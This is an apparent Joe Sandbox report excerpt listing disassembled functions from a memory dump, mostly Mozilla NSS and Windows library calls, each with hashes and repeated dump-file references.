Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: _initialize_onexit_table
String ID:
API String ID: 2450287516-0
Opcode ID: 26a53ea869ec4bac2ef6251d3ee820ab8dbfa8266ba172d84a089894f56648eb
Instruction ID: 30468b0db38fc948ea43e9374a5b74f2ae736236b0dce1f383b400d6677d5762
Opcode Fuzzy Hash: 26a53ea869ec4bac2ef6251d3ee820ab8dbfa8266ba172d84a089894f56648eb
Instruction Fuzzy Hash: 43212571904308ABCF01DF798A056DE3BB69F02318F164165EC14ABA81D772B9018BA9

Function 6C654FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C65B60F,00000000), ref: 6C655003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C65B60F,00000000), ref: 6C65501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6C65B60F,00000000), ref: 6C65504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6C65B60F,00000000), ref: 6C655064

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: 679dba885261350a3795443f8593eda7e8902922367b287cae6c4d199223df45
Instruction ID: a299ee73a011e8a2b4fbbefd8e76b33c2d404e0bda206ec2b4dc35946fdbd81e
Opcode Fuzzy Hash: 679dba885261350a3795443f8593eda7e8902922367b287cae6c4d199223df45
Instruction Fuzzy Hash: F93126B0A05706CFDB00EF68C48866ABBF4FF49304B608969D859DB700E730E8A0CBD5

Function 6C6004D0 Relevance: 6.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(?,?), ref: 6C6004F1
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C60053B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C600558
GetLastError.KERNEL32 ref: 6C60057A

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$ErrorFileHandleInformationLast
String ID:
API String ID: 3051374878-0
Opcode ID: 08c49168117408340f4264dd20d0dc64c5268f98a6c01c2e23e930fb84ce0239
Instruction ID: 05c12134e9db7a51c8b1d6dc9fd7d1d562812299eec91123d189d00d31ef05a3
Opcode Fuzzy Hash: 08c49168117408340f4264dd20d0dc64c5268f98a6c01c2e23e930fb84ce0239
Instruction Fuzzy Hash: 22215071B002189FDB08DF69DC94AAEB7B8FF89308B108069E8099B351D731ED06CB94

Function 6C682DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C682E08

Part of subcall function 6C6714C0: TlsGetValue.KERNEL32 ref: 6C6714E0
Part of subcall function 6C6714C0: EnterCriticalSection.KERNEL32 ref: 6C6714F5
Part of subcall function 6C6714C0: PR_Unlock.NSS3 ref: 6C67150D

PORT_NewArena_Util.NSS3(00000400), ref: 6C682E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6C682E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C682E95

Part of subcall function 6C671200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C6188A4,00000000,00000000), ref: 6C671228
Part of subcall function 6C671200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C671238
Part of subcall function 6C671200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C6188A4,00000000,00000000), ref: 6C67124B
Part of subcall function 6C671200: PR_CallOnce.NSS3(6C772AA4,6C6712D0,00000000,00000000,00000000,?,6C6188A4,00000000,00000000), ref: 6C67125D
Part of subcall function 6C671200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C67126F
Part of subcall function 6C671200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C671280
Part of subcall function 6C671200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C67128E
Part of subcall function 6C671200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C67129A
Part of subcall function 6C671200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C6712A1

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: f12d32ccfb3927ab1cd03a0c3fc02e9930dfc346623416cc1f7b0d9da176f384
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: D621D4B1D123454BE710CF549D48BAA3764AFA230CF110269DD086B752F7B1E69982BE

Function 6C6169B0 Relevance: 6.1, APIs: 4, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(6C616AB7,0000000C,00000001,00000000,?,?,6C616AB7,?,00000000,?), ref: 6C6169CE

Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C6710F3
Part of subcall function 6C6710C0: EnterCriticalSection.KERNEL32(?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67110C
Part of subcall function 6C6710C0: PL_ArenaAllocate.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671141
Part of subcall function 6C6710C0: PR_Unlock.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671182
Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67119C

SEC_ASN1EncodeItem_Util.NSS3(6C616AB7,0000001C,00000004,?,00000001,00000000), ref: 6C616A06
SEC_ASN1EncodeItem_Util.NSS3(6C616AB7,?,00000000,?,00000001,00000000,?,?,6C616AB7,?,00000000,?), ref: 6C616A2D
PR_SetError.NSS3(FFFFE005,00000000,00000001,00000000,?,?,6C616AB7,?,00000000,?), ref: 6C616A42

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Util$ArenaEncodeItem_Value$Alloc_AllocateCriticalEnterErrorSectionUnlock
String ID:
API String ID: 4031546487-0
Opcode ID: d481996933af2c8d4c396e39259d129e19daa399a271694e098476bd068f2c3f
Instruction ID: 19e771df40dbad3dde2dccc25e5b0707c6f464288e5f2e0d5227876494999faa
Opcode Fuzzy Hash: d481996933af2c8d4c396e39259d129e19daa399a271694e098476bd068f2c3f
Instruction Fuzzy Hash: 0111C175648202AFE710CE2ECC90B9673ECEB4135EF148529EE19C7E01EB70E914C7A9

Function 6C63ACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C63ACC2

Part of subcall function 6C612F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C612F0A
Part of subcall function 6C612F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C612F1D

Part of subcall function 6C612AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6C610A1B,00000000), ref: 6C612AF0
Part of subcall function 6C612AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C612B11

CERT_DestroyCertList.NSS3(00000000), ref: 6C63AD5E

Part of subcall function 6C6557D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C61B41E,00000000,00000000,?,00000000,?,6C61B41E,00000000,00000000,00000001,?), ref: 6C6557E0
Part of subcall function 6C6557D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C655843

CERT_DestroyCertList.NSS3(?), ref: 6C63AD36

Part of subcall function 6C612F50: CERT_DestroyCertificate.NSS3(?), ref: 6C612F65
Part of subcall function 6C612F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C612F83

free.MOZGLUE(?), ref: 6C63AD4F

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: 67861c0bf926ffc31259bb243877e324a1a64749ddcaaa0d098509fed6c9a6c3
Instruction ID: 5649d943a40eedd7e35778d1a2358a5976c3904e36eda092132ec8d0329910c0
Opcode Fuzzy Hash: 67861c0bf926ffc31259bb243877e324a1a64749ddcaaa0d098509fed6c9a6c3
Instruction Fuzzy Hash: DC21D4B1D002248BEF11DFA4D8055EEB7F4AF06209F456068D80877701FB31AA55CBAD

Function 6C6524E0 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C6524FF
EnterCriticalSection.KERNEL32(?), ref: 6C65250F
PR_Unlock.NSS3(?), ref: 6C65253C
PR_SetError.NSS3(00000000,00000000), ref: 6C652554

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 0c881fe42f11a3135af5181069545f0f591d9c0a7d619afae1eb5d71fbacfa44
Instruction ID: 6adfeb4635e234fd77006fb508adfdd20b6f34d5201d06a9e2f67299d0d565d9
Opcode Fuzzy Hash: 0c881fe42f11a3135af5181069545f0f591d9c0a7d619afae1eb5d71fbacfa44
Instruction Fuzzy Hash: D911E971A00118ABDB00AF68DC499BB7B78EF46328F554174EC09A7311E731E964C7E5

Function 6C66ECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6C66F0AD,6C66F150,?,6C66F150,?,?,?), ref: 6C66ECBA

Part of subcall function 6C670FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6187ED,00000800,6C60EF74,00000000), ref: 6C671000
Part of subcall function 6C670FF0: PR_NewLock.NSS3(?,00000800,6C60EF74,00000000), ref: 6C671016
Part of subcall function 6C670FF0: PL_InitArenaPool.NSS3(00000000,security,6C6187ED,00000008,?,00000800,6C60EF74,00000000), ref: 6C67102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6C66ECD1

Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C6710F3
Part of subcall function 6C6710C0: EnterCriticalSection.KERNEL32(?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67110C
Part of subcall function 6C6710C0: PL_ArenaAllocate.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671141
Part of subcall function 6C6710C0: PR_Unlock.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671182
Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6C66ED02

Part of subcall function 6C6710C0: PL_ArenaAllocate.NSS3(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6C66ED5A

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: 46080156cc250448f7c74abb9ead9ad49d0dac761b7c8331abbc0e29ec14de45
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: 6521A1B1A007429BE700CF26DD44B52B7E4BFA5348F25C21AE81C87A61FB70E594C6E9

Function 6C63C860 Relevance: 6.1, APIs: 4, Instructions: 64threadCOMMON

Download Yara Rule

APIs

PK11_IsLoggedIn.NSS3(?,?), ref: 6C63C890

Part of subcall function 6C638F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C62DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C638FAF
Part of subcall function 6C638F70: PR_Now.NSS3(?,?,00000002,?,?,?,6C62DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C638FD1
Part of subcall function 6C638F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C62DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C638FFA
Part of subcall function 6C638F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C62DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C639013
Part of subcall function 6C638F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C62DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C639042
Part of subcall function 6C638F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C62DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C63905A
Part of subcall function 6C638F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C62DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C639073
Part of subcall function 6C638F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C62DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C639111

PR_GetCurrentThread.NSS3 ref: 6C63C8B2

Part of subcall function 6C6D9BF0: TlsGetValue.KERNEL32(?,?,?,6C720A75), ref: 6C6D9C07

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C63C8D0
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C63C8EB

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: K11_Value$CriticalEnterSectionUnlock$AuthenticateCurrentInternalItem_LoggedSlotThreadUtilZfree
String ID:
API String ID: 999015661-0
Opcode ID: 477a7ae121ca17423d818f87d30b67f1952193dc40be73abf14df5b980759708
Instruction ID: 310869313dbc85c48004ee9330aa96b03329e276a30f0ce06bd29a3fcf8329ea
Opcode Fuzzy Hash: 477a7ae121ca17423d818f87d30b67f1952193dc40be73abf14df5b980759708
Instruction Fuzzy Hash: BE01C666E012307BD60029B56C80AEF39689B4625CF043235FC0DA6B11E771891892EA

Function 6C664900 Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000004,6C64C79F,?,?,6C665C4A,?), ref: 6C664950

Part of subcall function 6C668800: TlsGetValue.KERNEL32(?,6C67085A,00000000,?,6C618369,?), ref: 6C668821
Part of subcall function 6C668800: TlsGetValue.KERNEL32(?,?,6C67085A,00000000,?,6C618369,?), ref: 6C66883D
Part of subcall function 6C668800: EnterCriticalSection.KERNEL32(?,?,?,6C67085A,00000000,?,6C618369,?), ref: 6C668856
Part of subcall function 6C668800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C668887
Part of subcall function 6C668800: PR_Unlock.NSS3(?,?,?,?,6C67085A,00000000,?,6C618369,?), ref: 6C668899

TlsGetValue.KERNEL32(?,?,?), ref: 6C66496A
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C66497A
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C664989

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$CondErrorWait
String ID:
API String ID: 3904631464-0
Opcode ID: e3e5832de4a2a83593cb62fc423fb6990811202192d171076fbe554531db3138
Instruction ID: 7c1f12bc093388a105360332997549f584f3414a42a448ca77ed069358561a7c
Opcode Fuzzy Hash: e3e5832de4a2a83593cb62fc423fb6990811202192d171076fbe554531db3138
Instruction Fuzzy Hash: AC112971A402109BEB009F36DC0596677B8FF0735DF140235E95A97F11EB21E814879E

Function 6C69EDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6C687FFA,?,6C689767,?,8B7874C0,0000A48E), ref: 6C69EDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6C687FFA,?,6C689767,?,8B7874C0,0000A48E), ref: 6C69EDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6C687FFA,?,6C689767,?,8B7874C0,0000A48E), ref: 6C69EE14

Part of subcall function 6C670BE0: malloc.MOZGLUE(6C668D2D,?,00000000,?), ref: 6C670BF8
Part of subcall function 6C670BE0: TlsGetValue.KERNEL32(6C668D2D,?,00000000,?), ref: 6C670C15

memcpy.VCRUNTIME140(?,?,6C689767,00000000,00000000,6C687FFA,?,6C689767,?,8B7874C0,0000A48E), ref: 6C69EE33

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 58f645cf05f48a3db505460df63491191dfe67910375952eb0acec5ce52216a5
Instruction ID: 7c7fae82b6085d0147a80cac74afaed3d947f3a4969b7cbedbe3c67acc84aebc
Opcode Fuzzy Hash: 58f645cf05f48a3db505460df63491191dfe67910375952eb0acec5ce52216a5
Instruction Fuzzy Hash: F411C2B5A04707ABEB109E65DC84B46B3A8FF0035DF204536E919C2B00E331F865CBE9

Function 6C6808D0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C6809B3,0000001A,?), ref: 6C6808E9

Part of subcall function 6C670840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6708B4

SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C6808FD

Part of subcall function 6C66FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C668D2D,?,00000000,?), ref: 6C66FB85
Part of subcall function 6C66FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C66FBB1

SECITEM_AllocItem_Util.NSS3(?,00000000,00000001), ref: 6C680939
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C680953

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Util$ErrorItem_$AllocAlloc_ArenaCopyFindTag_memcpy
String ID:
API String ID: 2572351645-0
Opcode ID: 2e99b12f1c9af86e3f260138aaee893669f473c170dc6a84dddc8e352a0eca88
Instruction ID: 6a26c43e6bb3a8f3ce031a535f2151d19a5babdec4854466b68cad2a8d4f95b7
Opcode Fuzzy Hash: 2e99b12f1c9af86e3f260138aaee893669f473c170dc6a84dddc8e352a0eca88
Instruction Fuzzy Hash: FD01C4B1A0764A6BFF149A369C10B6737989F41358F105839EC1AC6E41FB31E4148ABD

Function 6C6649C0 Relevance: 6.1, APIs: 4, Instructions: 61COMMON

Download Yara Rule

APIs

Part of subcall function 6C668800: TlsGetValue.KERNEL32(?,6C67085A,00000000,?,6C618369,?), ref: 6C668821
Part of subcall function 6C668800: TlsGetValue.KERNEL32(?,?,6C67085A,00000000,?,6C618369,?), ref: 6C66883D
Part of subcall function 6C668800: EnterCriticalSection.KERNEL32(?,?,?,6C67085A,00000000,?,6C618369,?), ref: 6C668856
Part of subcall function 6C668800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C668887
Part of subcall function 6C668800: PR_Unlock.NSS3(?,?,?,?,6C67085A,00000000,?,6C618369,?), ref: 6C668899

PR_SetError.NSS3 ref: 6C664A10
TlsGetValue.KERNEL32(6C65781D,?,6C64BD28,00CD52E8,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C664A24
EnterCriticalSection.KERNEL32(?,?,?,6C64BD28,00CD52E8), ref: 6C664A39
PR_Unlock.NSS3(?,?,?,?,6C64BD28,00CD52E8), ref: 6C664A4E

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
